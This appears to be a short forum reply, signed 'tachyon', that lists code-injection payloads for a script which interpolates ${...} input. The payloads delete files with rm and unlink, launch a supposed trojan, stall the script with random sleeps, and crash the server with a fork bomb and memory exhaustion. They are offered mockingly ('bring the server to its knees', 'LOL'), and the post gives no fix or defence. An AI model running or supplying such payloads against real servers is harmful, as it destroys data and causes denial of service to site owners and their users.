[${system "rm $O"}]
[${system "hackme_with_trojan"}]
[download]

OK so you already showed you could run a program (ls) but you can execute *any* 0777 program in the current path.

How about we slow the script down a bit :-)

[${sleep rand 10}]
[download]

Or bring the server to its knees with some malicious code

[${fork while "waiting for system to crash"}]
[${s[][out of memory] while "LOL"}]
[download]

cheers

tachyon

[${unlink $O and die "Goodbye"}]